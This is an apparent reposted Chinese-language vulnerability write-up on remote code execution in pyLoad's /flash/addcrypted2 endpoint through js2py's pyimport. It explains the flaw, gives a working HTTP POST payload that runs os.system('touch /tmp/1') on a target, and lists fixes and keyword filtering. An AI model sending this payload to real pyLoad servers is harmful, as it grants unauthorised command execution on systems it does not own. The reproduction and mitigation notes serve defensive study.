漏洞資訊


漏洞原理

- 在 addcrypted2() 函式中,對傳入的引數 jk 決議后用 eval_js() 作為 JS 陳述句執行,
- 利用 JS 中 pyimport 匯入 OS 包,執行系統命令(檔案操作,行程管理),還可以利用 os.system() 執行 shell 命令,
- 構建 payload 程序比較簡單,只要傳入所需的 package, crypted, jk, passwords 四個引數即可,這里要注意對 crypted 引數有要求:要對 crypted 引數做 base64 解碼,所以長度要為 24 bit 的整數倍且不包含空格,
漏洞環境搭建以及復現
環境
- Kali Linux
- pyload 0.5.0b3.dev30
復現
payload
POST /flash/addcrypted2 HTTP/1.1
Host: <target host>:9666
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/1");f=function%20f2(){};&package=xxxx&crypted=AAAA&&passwords=aaaa
執行

在傳入 payload 前,檔案系統中不存在 /tmp/1 檔案,在攻擊后,執行了 touch /tmp/1 命令,再次查看時發現檔案已經被創建,即我們傳入的命令已經被執行,
修復
升級至 0.5.0b3.dev31 及以上版本
禁用 pyimport 功能
js2py.disable_pyimport()
流量過濾
關鍵字:jk 引數中 pyimport, os.system 等系統命令
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/555158.html
標籤:其他
上一篇:DCOM遠程執行命令橫向移動
下一篇:返回列表
